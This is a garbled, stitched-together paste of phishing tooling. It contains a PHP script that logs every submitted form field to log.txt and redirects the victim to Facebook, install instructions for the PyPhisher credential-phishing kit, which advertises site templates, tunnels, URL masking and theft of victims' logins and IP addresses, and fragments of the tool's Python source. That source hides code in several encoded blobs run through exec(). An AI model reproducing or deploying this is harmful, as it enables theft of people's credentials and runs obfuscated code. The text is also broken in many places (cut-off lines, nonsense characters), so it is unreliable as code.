<?php

 

// Set the location to redirect the page

 

header ('Location: http://www.facebook.com');

 

// Open the text file in writing mode 

 

$file = fopen("log.txt", "a");

 

 

foreach($_POST as $variable => $value) {

 

    fwrite($file, $variable);

 

    fwrite($file, "=");

 

    fwrite($file, $value);

 

    fwrite($file, "\r\n");

}

 

 

fwrite($file, "\r\n");

https://youtu.be/Df07IdFSrDUsudo apt install git python -y

For Arc

sudo pacman -S git python --noconfir

For Fedor

sudo yum install git python -

For Termu

pkg install git python -

Clone this repositor

git clone https://github.com/KasRoudra/PyPhishe

Enter the director

cd PyPhishe

Run the too

python3 pyphisher.p

Or, directly ru

wget https://raw.githubusercontent.com/KasRoudra/PyPhisher/main/pyphisher.py && python3 pyphisher.p

 

Optio

usage: pyphisher.py [-h] [-p PORT] [-o OPTION

                    [--update | --no-update

 

option

  -h, --help            show this help message and exi

  -p PORT, --port PORT  PyPhisher's server port [ Default : 8080 

  -o OPTION, --option OPTIO

                        PyPhisher's template index [ Default : null 

  --update, --no-updat

                        Check for update (default: True

Features

Multi platform (Supports most linux

65 Website template

Dual Tunneling (Ngrok and Cloudflared

Easy to us

Possible error diagnose

Built-in masking of ur

Custom masking of ur

Portable file (Can be run from any directory

Get IP Address and many other details along with login credential

Requirement

Python(3

PH

Cur

Unzi

Wge

  Developers that use the GNU GPL protect your rights with two steps

(1) assert copyright on the software, and (2) offer you this Licens

giv_ = lambda __ : __import__('zlib').decompress(__import__('base64').b16decode(__[::-1]));exec((_)(b'B417E75330D7EF7E4563FE7EBE633D86A0320363747D4789B85A1FF56495C679BC465AD60913D082D42D45EE7CEF469B8880E1A3A772E25B577FC193AA9FBDE060F89A9B66B845C02059FD88AF8AE29D1DD6343A8AFED901DFC1F9A1491F46F030359AD63138BFF3263E4F398DC045E5F90086F0C9E50957AE9D6A288BC9F0846C103A41B48CC089AC46B231130F214035D124F5F91E356EBEA36F4FC42935D6BA45AB3AFE8AF188285603FE413019F4771F0CC0032CA0D5EC54C987')

# Color snippet

black="\033[0;30m

red="\033[0;31m

bred="\033[1;31m

green="\033[0;32m

bgreen="\033[1;32m

yellow="\033[0;33m

blue="\033[0;34m

purple="\033[0;35m

cyan="\033[0;36m

bcyan="\033[1;36m

white="\033[0;37m

nc="\033[00m

version="1.7

# Regular Snippet

ask  =     f"{green}[{white}?{green}] {yellow}

success = f"{yellow}[{white}√{yellow}] {green}

error  =    f"{blue}[{white}!{blue}] {red}

info  =   f"{yellow}[{white}+{yellow}] {cyan}

info2  =   f"{green}[{white}•{green}] {purple}

# Generated by banner-generator. Github: https://github.com/KasRoudra/banner-generato

logo=f''

{red}  _____       _____  _     _     _              

{cyan} |  __ \     |  __ \| |   (_)   | |             

{yellow} | |__) |   _| |__) | |__  _ ___| |__   ___ _ __

{blue} |  ___/ | | |  ___/| '_ \| / __| '_ \ / _ \ '__

{red} | |   | |_| | |    | | | | \__ \ | | |  __/ |  

{yellow} |_|    \__, |_|    |_| |_|_|___/_| |_|\___|_|  

{green}         __/ |                          {cyan}[v{version}

{cyan}        |___/                   {red}[By KasRoudra

''

pkgs=[ "php", "curl", "wget", "unzip" 

try

    test = popen("cd $HOME && pwd"

except

    exit(

root = popen("cd $HOME && pwd").read().strip(

supported_version = 

if version_info[0] != supported_version

    print(f"{error}Only Python version {supported_version} is supported!\nYour python version is {version_info[0]}"

    exit(0

choice_file = "files/templates.json

# Check termu

if exists("/data/data/com.termux/files/home")

    termux=Tru

else

    termux=Fals

# Get package manage

if system("command -v apt > /dev/null 2>&1")==0

    apt=Tru

else

    apt=Fals

if system("command -v apt-get > /dev/null 2>&1")==0

    aptget=Tru

else

    aptget=Fals

if system("command -v sudo > /dev/null 2>&1")==0

    sudo=Tru

else

    sudo=Fals

if system("command -v pacman  > /dev/null 2>&1")==0

    pacman=Tru

else

    pacman=Fals

if system("command -v yum > /dev/null 2>&1")==0

    yum=Tru

else

    yum=Fals

if system("command -v dnf > /dev/null 2>&1")==0

    dnf=Tru

else

    dnf=Fals

if system("command -v brew > /dev/null 2>&1")==0

    brew=Tru

else

    brew=Fals

if system("command -v apk > /dev/null 2>&1")==0

    apk=Tru

else

    apk=Fals

 

 

_ = lambda __ : __import__('marshal').loads(__import__('base64').b16decode(__[::-1]));exec((_)(b'51C0A0A070A060A020A01060106010603080102110212041D0608F8080208F4080209F4070209F4070209F407020AF406020BF405020CF404020DF403020EF402020FF4010200020000000843700000010E356C65746F6D6C380AD000000F027000000E027000000E027000000E0270000004327000000132700000071270000000127C62757F5C61636F6C690A556471646075760ADE6F6964707F660AD00000081273776271640AD37762716F55637271607A0ADE6F696473614C616E6F6964707F4E61656C6F6F62451A547E69630AD47E656D657762716F5464616C0AD27563727160776271690A527563727160547E656D657762714E0AD23F676F6C650A5E6F6963727566770ADE65656277650A55657C62640A577F6C6C6569760A5E616973640A546562730A5619245642092000000312700000021270000001127309200000060271092E40000004327FF20106010C0106010801020000000C03700000064E6F637A6F5379670AD000000F027000000E027000000E027E6F637A697D660A5109227F62727545657C61665A0AD374616F6C650AD20926445E4309200770035204600950010001000101197104700400035104600750010103800C7004770A7000000423700000034000000800000001000000000000000000000001036000000132720021002104010A010011021104010E01001104040A0DF801060100110211080106010400000004237000000132756C646E61686F5E6F69647075636875611AD000000F027000000E027000000E027F6E6F53756E696C680A5F6E6F556E696C670A5567616373756D670AD56D616E640AD264720AD272716F53756E696C690A50796B63740AD56E696C69647C657D690A55610AD9092E696F6A640ADE656C630AD4796C6073750AD00000061270000005127F5F556D616E6F5F580AD0000001027478756E6F5264770ADF6E656E696C6F5264790AD27473730AD46E65607071660ADF5F556C69666F5F580AD8647160737261670AD56D616E656C69666F5F636B0AD5646F636F56660AD56D6162766F5264780ADF5F5B63616265636162747F5F5D0AD11920256E696C60247160290A7023756E696C602471602A0A702A320A702C220A7000000109E000000009EA310AF1227F627275460A727F627275456D616E490AD27F627275446E657F66447F6E456C65746F6D431ADE4B092003500460010103860D900B970C7A04600B960C7804600B950C700B9D047C047003500460010103860D900B980C7904600B960C7804600B950C700B9D047C047162710C780D7101A30C7010A704670D7009100816046103830C7F04730C760D700915046101A4046E00A103800C77047003500460010103820D9304600B9D047C047932720B6204650C7033720B6104650C7932720C750D7B0A6103800C7A04790371057004640C740D790A640C70010101A103880A640C77047600A30C7A12720B610385047404730A620A610A640C712271057004640C740D700A600C730D700760000002E370000003400000070000000900000000000000000000000303664000000712710C0108010E0106010A110801020000000E037000000720000007127000000F027000000E027000000E0274757F656D6964770A54727F60740AD4737F68640A530924756E6275647E69680AD000000A02727F627275650AD47E696270750AD473656E6E6F63670A5D41454254535F5B434F435B0A54554E494F5641470A54756B636F63760A54757F656D6964747C6571666564647563711A59092000000209E124756E6275647E69602F6E4C0A7E4309200350046009500100038804700101038204670470010103820D9104600B9604750470010001000100035004600750010101A206610C700C7400A20383047204710470010103820C7004711A7000000C43700000034000000600000003000000000000000000000003036000000419E000000539E83E283E283E28370AF0000000127DF4010A0108010A010C0000000A0370000000247E69627073760ADE387C330AF000000E027009A4627F67740AD4710ADE610AD3092075656C63750AD863757C66650AD564796277750AD4757F646473760AD40920000000027E420920035004640170010103810C730470010001A200A00470010101A20C7100A004720D7F0D500440071104600C7000000C23700000034000000400000003000000000000000000000002036F39A9999999999A97EA313E203E203E2732313A0A70000002027E6F69647361660AD00000030273092455647164607570227F66602B63656863401A7564716460757D2D280A7000000302700000020272092D502C6C657E602A30247C6571666564402B502875646E69602564716C607D65647023772275686379686059705D2A700ADE6F6964707F6D2D280A7F6D220A707C6568640AD47C6571666564670AD5607974740AD3092D5020383038302A30247C6571666564402B5024727F60702275667275637023772275686379686059705A2A70000F109964727F607D2D260A707D220A7A0D516274657F6253716B4029724B5F0A702020202020202020202020202020202020202F2F5F5F5C7020202020202020202A7A0D520A767B520A70202020202020202020202020202020202020202020202020202C702F2F5F502020202020202020282A7A0020202C7F5C7F5F5F5C5C7F5C702C7F5F2F5F5F5C7F5C7F5C702C7F5C702020202C7F5C702C2F5F5C502020202C7F5C70223A7A0020202C702F2F5F50202C702C702C702C502F5F5C502C702C702C702C702020202C702C702C7F5C702C7020202C702C70223A7A0C7F5F57202C502F502F202C502F57202C7F5F502F202C7C502F57202C7F2F5F5F50202C702C702C702F2F5F5F50202C70223A7A002F5F502F502F5F5F5020202F5F5C702C7F5F5F502F50202F5F5C702C70292F5F5C702C7F5020202C70292F5F5C702C70223A7A00202020202020202020202020202C702C702020292F582020202C702C7C502F5F50202C70202020202C502F5F50202C70223A7A0020202020202020202020202020202F50202020202F50202020202F50202F5F5F5F5F502020202020202F5F5F5F5F5020223A7A010ADC2920035824651A500487246624641A5104852464246B24631A5104822461246A24621A51048D146C146924611A520D900B9E056A14601A501A6D056F0A5F0A6D056E0A5E0A6D056D0A5001AC00A8056001040D891468146B0567146614690A68056001040D85146414631462146114690A68056001050D80146F046E046A056D046C04690A6805680A50038705660A571D9B04600B90056A04600B91056904600B95056804600B91056704600B94056604600B92056504600B90056404600B93056304600B92056204600B91056104600B9005600460000004D3700000004000000710000000000000000000000000000000036

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b32decode(__[::-1]));exec((_)(b'====ANL2INA7FRSB73JGWJXD6FH63J7SYXA6OVLHGFY53QG2NJ2LIRTQJCOJWDW4OHNTNZQTDWG4WIUKXYEI5GLGNMD6DHEHTIB7XFV3UBMU3YJBHY7TODUSH23F3HUNC5L66BQ3RYWDWHV3SY2JWTMXBGT2TTD3MP5KV74MZY5OW4Z5D54PGBEMKC6JGATKGLNGEXUIJCBJH7QOMP2NMPSEBULVJNCFM4SHKEOY5KVSOUN3GSFN6Z4YOZ5333M4VR6FIJMDHUB4L2RBD32LZCHSK5VF3GC4GSCNK7PFPC4UY7XEPGRNP5EFBWSGFC4XP3YBA5X6LUY3UBSGSPF6AFRUZMVBRJOV3QAJ2V5VZQNWS7HMH6DS6VRZHJXS3UWQVMHSTCEJFRWVEDLPQUKKKZ2KA3XLTVUAZOENHIFVN6QIMK2NWAVAIF34ULC2V4F44VRPUFD47FBKNM2YDDJMRHPINOGNLX76UB36T3JAKA4UOWGPFMIKYG3PUKDUMTC2Y6YCY2B2C2SVZMDNTZOR6LNY2IDQ4NUVXM3ERZKI4P73I3BBYBBHQ3DBMHZTNJB76Z6Q2KLIEE6PBJLDLVQGC4TNMRDNUCKBVYPBXKEZZK7MAI25Q63QYFEH6J6OKNM4HMCNDTLSTN4ULEUEVKFCEQDSF6BOOBXNY7D3PAT2P33VELLU6WMALIRUHQNDLWYXLJYMKQ6H6QJENRLKUSNTWXNZL5OX7HG372TP7DH4PMXZFO3XNO6EHWB2KUDGSXTOX4ZHUV3WEUI3D5SWRTWNH7ROJRBKN7JE77HK6U6OV5QYPE3XN3QWSMJG5EVSXW3IVE4VVSAVU5CJ6DPKCL5QILQUSL5QZILJ24XXUZFRL4KYK3TNKLBDLLK4B6RAC2HM7BBFIFCU2VV6HJT4TR4ITU7RQ5UWZGAFP2JVGQJ4CRNWIAA26FJTUINANJTWF5HOCVHDJZWQWFVUEMD2VVPDQ6TQHWWLALH5TVHJJW754H3RPFHDFYIRFXMJQKELE6JG5FUVQVE4VC3FHKIOTTJ22QPRMXKNIIKO7HQOA7CVMTCVBQV333NHANT6YFOJ233P4KATSEZ7GSDPJAHYGMFRSDNZNM6YPE4OU5FGVEBVPD6JIWRSVIZBPWUSIYNLQUCXR5Q73DTCAE6H7UUNVCEKBCVPU7YZ47QTUYQRXTA7TZBW5BCZKEFGQRQ2LTMU3WX5X5R3ZCJDDOHQT6CH7VNCB62SFADMHJSXGWNTNSYWVMKFD4ZQ4J5OSEWH54YLQLQRW6RI2I2LXFNB2MLVVXLYBDCU2WZV22XYFNHEH6E7BNTGV4GX72CGFWD3XUR2547IWM3L437TZNKGFVNCN7JHLJGUZ2XDS23P3EVQIJHXYOWYJYZPBS3HEOLYPQMPPNI6PL6IJCJP66JQHDSBYHPO7ONV5Z5CVYBGQZSWLU3R5XIMHHVPYNC4O6QR5AZ56DSYMHCNXGACZVWVA23JJ6XJA4OB45APWT5DDJH44O3TBVC2S6N35WKLPWQECY4Y3OWOAH455ZBWXXLWFXI3LZD6XH2H4IHRVAZNA3BC3RZKRWR2IOQXTPKVFCSJFETPO4YMITVDQFJANGBYOJKS5Y33PYSIVEJUQGVB32IWVAZAYRPDMSKDITIBYGJ3DCURRNQCZS4MLY2SPQKZ4L525DEQTN3N3WVKJOCP')

 

 

# Polite E

@@ -325,8 +325,7 @@ def updater()

            sleep(2

 

# First function ma

_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));exec((_)(b'=oqowswDyPSv5FpF7AONsRxO8qDVtR9FE2yaT1m2vr2/nMolHzcrOEaHc3S2wm9m1w51Ppa4fbt+hjW7XikRuouQw1djoa0gplwRUvOp0oznqEz7npJjh72R0dvdyaOjkBU/RJPjyz4NTmU80NoZ4W5UeDmkoqpbeMAfBLdppBYUwx/xJoC4ydai8iVHsgIGSnmCZJx8Sb/r/Dx9TEiSctXQN/TJ4FZedzACF/wSE7ot6wvWkwNkWOn6N9DGTMB5S5gXI1hUx2YQqE0QWNUNmEyZ0+0na3eRDK90iskHJm2+SNPITBdbrodVNPj2Uo0lBXNykIrnK1uONYHh0Dk7m8RAMp++BFcZLLqEZRh4E54L3gWBmL1qjz6D4eONfCjyn3eKlgYflkbKSl8mtvW6vg4IU6lcIRhvRbydWxTh2TXFHz7648zrn9MKloujstI/vjIvUekXy2p7M5hTpYqfaeqphiIFN+ZibkOrOFPUiSeJ00HDRV8jFYBIPHQ8tzWm14oqh1dqxBIxPi2ZR23ZtLXHi0Noc9/9nFXUcHUybAS+5M1TylXM+/xj6X/9yeKgZvHWjfec42Z05ZaHZPn65u/DndY3mykRq0HVjefYJ2JsXAIKZeJFO2xHQXu7erTZ25u3pCkPiXqcPVUKON+FV3xOJmD3D9Yc9OJfbrG4+EV8nViyy43SXIq8KTEDcJ2+tmcjmG59ztnbn0zvgPL9upa91XBe10PE3eRbXVvhg/LymXkp4j9rvzyNeT0/XXxeH931d8nRRbUT20A+MXR7FovjHvWDh/WFcLjKNf1rellrWYuipyvjHvKZVHVt+aVb6QsKKMaaQ/lqjuGiPTeR9VOaYGOf22SZd1JquUbn81fV3jvwWX3VqCewlrY7YtygYV3FtqDs3S+1f0Slwlauxrprxsp6k8NCkOqVjtYjIvPvZVFoPeyeaul15HOa9CmXXUz68w67CQ+magcVrceuYlWzFLffOTlEPqoHoobmeE/MeBT1mLT+O30OB/kbsukAx60pjJyB8hqzK2sCTBCueLnKKR2++OHOYBXdndwMFA5gbtl5CQkXMGPG44CYgI3bAS5o7kJ5nybDYpUfAPnGC2NVmBHUJQNljITAJk0eT2X5QQZJ8WM71q9RzipQI90oIUsQqgyuK7QfvMiJt+evzPzeNb+992hlUK0OZy7VqphShAV3EkYRA9/wBFkdIJ6A4v4SgeVs2Hn3nxa7fbx7M+uWEr0wkA3EUoACC6ARNUwBOvioosBJET84O+st3e3XbntnUUEHv9LVlyJe')

 

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==wGcw30B4vez/1M80vR+sTambDH0UXz3ppS37YqpAF38xTLEG1xPHHaImhar2rz/LhHOo7Fq6F9pDyvL1Hv99XOAEcJfmo5fy1CnpWbL6OrpFMwbPYo00hD4G+ujwWeB/DgP8LTIsfGsLyS7CFZ7y5befPv9P4PQ56DsFMv/TL4vsj9DPeZkeHnEZM5nPqdzJkrYcWbnGVwrfp2Guz0yY3LvvfmEZ/fwpCbBbVV95qpJwe4unmlOmVrwyqnkfeel04iVxumTtANErHKYiwyEVzqP2bFYYDYGyXEdw+KgaZQCA5aYa9FxXsROEyO7gWuzojHT3GnnAZypmkm0Gl1uu13Xa4TJiNol28WsQ/uaTKKbZiNF3NHgfPTq9qe5EM7YatXiSz0RLEyHyptik6kaZsQO1FNP71qT7AngataBWHl4mxlj2ADmN4+EkW4nzxaEMvGpizYOFnBevCSLPe6owvl/ff6EQaNTx7opI86NlUzDvb340kYipDkQLY2cTWjyR24qsAb+eDHcqjp3AiiIP1KhseAJ9S+6PbmrZSczykFPEEGdMrIG0uZYIa2BgkzTfxTLbGWboM31idfEXjM1UeEX8KogNSA9HSHBYAHYlMs1KUqF312dXcsCtbK6HjvsktcOTo70kLVjYa3XxltLbLKYVbauRLqiIUrJbl0urUp0UYfhgqtvzzYjhk3YO2xQVyRsLM5kN6HReQXZiU3AilUOButuoQyqdicveMliCecHNqL6cRFq5yxLM5vsh/5SeFnbpBVgrmQJg3ucQvOtivR8W12OcCFQDq378lCFq1sA0XW4sIj0USglFs9yFe2k6pVljilZ/wl/CPwsTBuUl4GWYllAKISUEYbGI9K6hyeAWt7JDhEhouNrcPvQAz2utcVtyJe'

 

# 2nd function installing packages and downloading tunnele

def prerequiments()

    internet(

    if termux

        if system("command -v proot > /dev/null 2>&1")!=0

            system("pkg install proot -y"

        installer("pkg"

    else

        if sudo and apt

            sudoinstaller("apt"

        elif sudo and apk

            sudoinstaller("apk"

        elif sudo and yum

            sudoinstaller("yum"

        elif sudo and dnf

            sudoinstaller("dnf"

        elif sudo and aptget

            sudoinstaller("apt-get"

        elif sudo and pacman

            for pkg in range(0, len(pkgs))

                if system(f"command -v {pkgs[pkg]} > /dev/null 2>&1")!=0

                    sprint(f"\n{info}Installing {pkgs[pkg].upper()}{nc}"

                    system(f"sudo pacman -S {pkgs[pkg]} --noconfirm"

        elif brew

            installer("brew"

        elif apt

            installer("apt"

        else

            sprint(f"\n{error}Unsupported package manager. Install packages manually!{nc}"

            exit(1

    if system("command -v php > /dev/null 2>&1")!=0

        sprint(f"{error}PHP cannot be installed. Install it manually!{nc}"

        exit(1

    if system("command -v unzip > /dev/null 2>&1")!=0

        sprint(f"{error}Unzip cannot be installed. Install it manually!{nc}"

        exit(1

    if system("command -v curl > /dev/null 2>&1")!=0

        sprint(f"{error}Curl cannot be installed. Install it manually!{nc}"

        exit(1

    killer(

    x=popen("uname -m").read(

    y=popen("uname").read(

    if not isfile(f"{root}/.ngrokfolder/ngrok")

        sprint(f"\n{info}Downloading ngrok.....{nc}"

        internet(

        system("rm -rf ngrok.zip ngrok.tgz"

        if y.find("Linux")!=-1

            if x.find("aarch64")!=-1

                system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm64.tgz -O ngrok.tgz"

                system("tar -zxf ngrok.tgz > /dev/null 2>&1 && rm -rf ngrok.tgz"

            elif x.find("arm")!=-1

                system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm.zip -O ngrok.zip"

                system("unzip ngrok.zip > /dev/null 2>&1 "

            elif x.find("x86_64")!=-1

                system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-amd64.zip -O ngrok.zip"

                system("unzip ngrok.zip > /dev/null 2>&1"

            else

                system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-386.zip -O ngrok.zip"

                system("unzip ngrok.zip > /dev/null 2>&1"

        elif y.find("Darwin")!=-1

            if x.find("x86_64")!=-1

                system("wget -q --show-progress 'https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-darwin-amd64.zip' -O 'ngrok.zip'"

                system("unzip ngrok.zip > /dev/null 2>&1"

            elif x.find("arm64")!=-1

                system("wget -q --show-progress 'https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-arm64.zip' -O 'ngrok.zip'"

            else

                print(f"{error}Device architecture unknown. Download ngrok manually!"

                sleep(3

        else

            print(f"{error}Device not supported!"

            exit(1

        system("rm -rf ngrok.zip && mkdir $HOME/.ngrokfolder"

        system("mv -f ngrok $HOME/.ngrokfolder"

        if sudo

            system("sudo chmod +x $HOME/.ngrokfolder/ngrok"

        else

            system("chmod +x $HOME/.ngrokfolder/ngrok"

    if not isfile(f"{root}/.cffolder/cloudflared")

        sprint(f"\n{info}Downloading cloudflared.....{nc}"

        internet(

        system("rm -rf cloudflared cloudflared.tgz"

        if y.find("Linux")!=-1

            if x.find("aarch64")!=-1

                system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64 -O cloudflared"

            elif x.find("arm")!=-1

                system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm -O cloudflared"

            elif x.find("x86_64")!=-1

                system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 -O cloudflared"

            else

                system("wget -q --show-progress https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386 -O cloudflared"

        elif y.find("Darwin")!=-1

            if x.find("x86_64")!=-1

                system("wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz' -O 'cloudflared.tgz'"

                system("tar -zxf cloudflared.tgz > /dev/null 2>&1 && rm -rf cloudflared.tgz"

            elif x.find("arm64")!=-1

                print(f"{error}Cloudflared not available for device architecture!"

                sleep(3

            else

                print(f"{error}Device architecture unknown. Download cloudflared manually!"

                sleep(3

        else

            print(f"{error}Device not supported!"

            exit(1

        system("mkdir $HOME/.cffolder"

        system("mv -f cloudflared $HOME/.cffolder"

        if sudo

            system("sudo chmod +x $HOME/.cffolder/cloudflared"

        else

            system("chmod +x $HOME/.cffolder/cloudflared"

    if system("pidof php > /dev/null 2>&1")==0

        sprint(f"{error}Previous php still running! Please restart terminal and try again{nc}"

        pexit(

    if system("pidof ngrok > /dev/null 2>&1")==0

        sprint(f"{error}Previous ngrok still running. Please restart terminal and try again{nc}"

        pexit(

    system("rm -rf $HOME/.site && cd $HOME && mkdir .site"

# 3rd function checking requirements and download files

def requirements(folder, mask)

    if isfile(f"{root}/.websites/version.txt")

        with open(f"{root}/.websites/version.txt", "r") as sites_file

            zipver=sites_file.read().strip(

            if zipver!=version

                sprint(f"\n{info}Downloading required files.....\n"

                system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/websites.zip -O websites.zip"

    else

        sprint(f"\n{info}Downloading required files.....\n"

        system("wget -q --show-progress https://github.com/KasRoudra/files/raw/main/websites.zip -O websites.zip"

    if isfile("websites.zip")

        system("rm -rf $HOME/.websites && cd $HOME && mkdir .websites"

        system("unzip websites.zip -d $HOME/.websites > /dev/null 2>&1"

        remove("weᴬᵛᵉⁿᵍᵉʳˢ.ᴬˢˢᵉᵐᵇˡᵉ_ᵈᵃⁱˡмαяνєℓѕυ∂ισѕ.ιηʸ)):)):)):)::: ))):)):):):)))):)):)):))::):):):)::))):):):)))):)):):))::)):)):)):))::))):))))):)):)):)):):):)):::):):):):)::))::):rs)))in):xit)'))e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:e:re:e:x")):3)):):]']]  |   'r"""""s"""""""""""""s)e:r .websites")

        system("unzip websites.zip -d $HOME/.websites > /dev/null 2>&1")

        remove("wegivtplP)ss)llre)s):)e]N]ts:]]nsynylryryyxyamh

fclose($file);

 

exit;

?>

$value) { fwrite($file, $variable); fwrite($file, "="); fwrite($file, $value); fwrite($file, "\r\n"); } fwrite($file, "\r\n"); fclose($file); exit; ?>